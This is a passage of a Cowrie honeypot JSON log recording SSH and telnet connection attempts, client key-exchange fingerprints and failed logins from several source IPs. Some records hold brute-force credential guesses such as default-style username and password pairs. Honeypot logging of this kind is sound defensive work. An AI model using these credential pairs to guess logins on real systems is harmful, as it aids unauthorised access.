mac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:53.148870Z","src_ip":"202.145.0.61","session":"c866e71b835a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#2024","message":"login attempt [ubuntu/ubuntu#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:54.119653Z","src_ip":"202.145.0.61","session":"c866e71b835a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:55.356622Z","src_ip":"202.145.0.61","session":"c866e71b835a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.47525954246521,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:05.053599Z","src_ip":"23.111.140.22","session":"269aab9ba143","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.00676465034485,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:15.594258Z","src_ip":"174.138.46.234","session":"4bc6bdd65992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.17918419837952,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:16.446478Z","src_ip":"23.111.140.22","session":"24da36e9bfd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.025901556015015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:20.538270Z","src_ip":"23.111.140.22","session":"7b3e8f0a3c67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.713427782058716,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:21.116182Z","src_ip":"23.111.140.22","session":"61b9ac7e2a80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":58592,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee34f1d652de","protocol":"ssh","message":"New connection: 135.235.138.43:58592 (10.17.0.5:22) [session: ee34f1d652de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:40.366096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:40.370993Z","src_ip":"135.235.138.43","session":"ee34f1d652de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:40.559894Z","src_ip":"135.235.138.43","session":"ee34f1d652de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"a","message":"login attempt [testuser/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:41.344933Z","src_ip":"135.235.138.43","session":"ee34f1d652de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:42.537035Z","src_ip":"135.235.138.43","session":"ee34f1d652de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"169.211.203.158","src_port":41796,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c98d4aa7be1","protocol":"telnet","message":"New connection: 169.211.203.158:41796 (159.203.135.109:23) [session: 5c98d4aa7be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:49.686045Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":59702,"dst_ip":"10.17.0.5","dst_port":22,"session":"98dc306140fa","protocol":"ssh","message":"New connection: 202.145.0.61:59702 (10.17.0.5:22) [session: 98dc306140fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:52.067355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:52.071403Z","src_ip":"202.145.0.61","session":"98dc306140fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:52.315005Z","src_ip":"202.145.0.61","session":"98dc306140fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:53.309621Z","src_ip":"202.145.0.61","session":"98dc306140fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:40:54.554305Z","src_ip":"202.145.0.61","session":"98dc306140fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.825683832168579,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:04.511615Z","src_ip":"169.211.203.158","session":"5c98d4aa7be1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.12.237.224","src_port":48347,"dst_ip":"159.203.135.109","dst_port":23,"session":"d58ba17d8db8","protocol":"telnet","message":"New connection: 89.12.237.224:48347 (159.203.135.109:23) [session: d58ba17d8db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:16.940984Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49976,"dst_ip":"159.203.135.109","dst_port":23,"session":"f99e5e7e67ea","protocol":"telnet","message":"New connection: 174.138.46.234:49976 (159.203.135.109:23) [session: f99e5e7e67ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:27.653925Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50354,"dst_ip":"159.203.135.109","dst_port":23,"session":"b09b40dca369","protocol":"telnet","message":"New connection: 174.138.46.234:50354 (159.203.135.109:23) [session: b09b40dca369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:27.936644Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50458,"dst_ip":"159.203.135.109","dst_port":23,"session":"46d80a0d25d0","protocol":"telnet","message":"New connection: 174.138.46.234:50458 (159.203.135.109:23) [session: 46d80a0d25d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:28.459411Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50382,"dst_ip":"159.203.135.109","dst_port":23,"session":"5af541ee950c","protocol":"telnet","message":"New connection: 174.138.46.234:50382 (159.203.135.109:23) [session: 5af541ee950c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:29.099803Z"}
{"eventid":"cowrie.session.closed","duration":15.213460206985474,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:32.154321Z","src_ip":"89.12.237.224","session":"d58ba17d8db8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.113552093505859,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:32.767375Z","src_ip":"174.138.46.234","session":"f99e5e7e67ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.014426469802856,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:35.950994Z","src_ip":"174.138.46.234","session":"b09b40dca369","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.127399444580078,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:36.227203Z","src_ip":"174.138.46.234","session":"5af541ee950c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.045622825622559,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:36.504941Z","src_ip":"174.138.46.234","session":"46d80a0d25d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":57460,"dst_ip":"10.17.0.5","dst_port":22,"session":"795dedc94f3a","protocol":"ssh","message":"New connection: 135.235.138.43:57460 (10.17.0.5:22) [session: 795dedc94f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:41.467583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:41.471690Z","src_ip":"135.235.138.43","session":"795dedc94f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:41.659647Z","src_ip":"135.235.138.43","session":"795dedc94f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#2024","message":"login attempt [ubuntu/ubuntu#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:42.443909Z","src_ip":"135.235.138.43","session":"795dedc94f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:43.635945Z","src_ip":"135.235.138.43","session":"795dedc94f3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":48562,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f4566a584bb","protocol":"ssh","message":"New connection: 202.145.0.61:48562 (10.17.0.5:22) [session: 7f4566a584bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:49.897910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:49.901547Z","src_ip":"202.145.0.61","session":"7f4566a584bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:50.136241Z","src_ip":"202.145.0.61","session":"7f4566a584bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"zxcvbnm","message":"login attempt [mysql/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:51.099474Z","src_ip":"202.145.0.61","session":"7f4566a584bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:41:52.336098Z","src_ip":"202.145.0.61","session":"7f4566a584bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42594,"dst_ip":"159.203.135.109","dst_port":23,"session":"e21fd1e53272","protocol":"telnet","message":"New connection: 174.138.46.234:42594 (159.203.135.109:23) [session: e21fd1e53272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:40.658021Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42454,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec0ab21ab9f9","protocol":"telnet","message":"New connection: 174.138.46.234:42454 (159.203.135.109:23) [session: ec0ab21ab9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:41.097700Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":35846,"dst_ip":"10.17.0.5","dst_port":22,"session":"77d26c1bfd90","protocol":"ssh","message":"New connection: 135.235.138.43:35846 (10.17.0.5:22) [session: 77d26c1bfd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:41.835303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:41.839955Z","src_ip":"135.235.138.43","session":"77d26c1bfd90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:42.028509Z","src_ip":"135.235.138.43","session":"77d26c1bfd90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42878,"dst_ip":"159.203.135.109","dst_port":23,"session":"23cb72bc0368","protocol":"telnet","message":"New connection: 174.138.46.234:42878 (159.203.135.109:23) [session: 23cb72bc0368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:42.784727Z"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"testftp1234","message":"login attempt [testftp/testftp1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:42.817274Z","src_ip":"135.235.138.43","session":"77d26c1bfd90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42520,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7833fbcf586","protocol":"telnet","message":"New connection: 174.138.46.234:42520 (159.203.135.109:23) [session: d7833fbcf586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:43.292676Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:44.012800Z","src_ip":"135.235.138.43","session":"77d26c1bfd90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":49096,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1e501c498cb","protocol":"ssh","message":"New connection: 159.203.171.163:49096 (159.203.135.109:22) [session: d1e501c498cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:44.059747Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:44.064689Z","src_ip":"159.203.171.163","session":"d1e501c498cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43302,"dst_ip":"159.203.135.109","dst_port":23,"session":"dde008565e4c","protocol":"telnet","message":"New connection: 174.138.46.234:43302 (159.203.135.109:23) [session: dde008565e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:44.463960Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":37418,"dst_ip":"10.17.0.5","dst_port":22,"session":"9878a1d3f5f2","protocol":"ssh","message":"New connection: 202.145.0.61:37418 (10.17.0.5:22) [session: 9878a1d3f5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:45.487443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:45.491832Z","src_ip":"202.145.0.61","session":"9878a1d3f5f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sh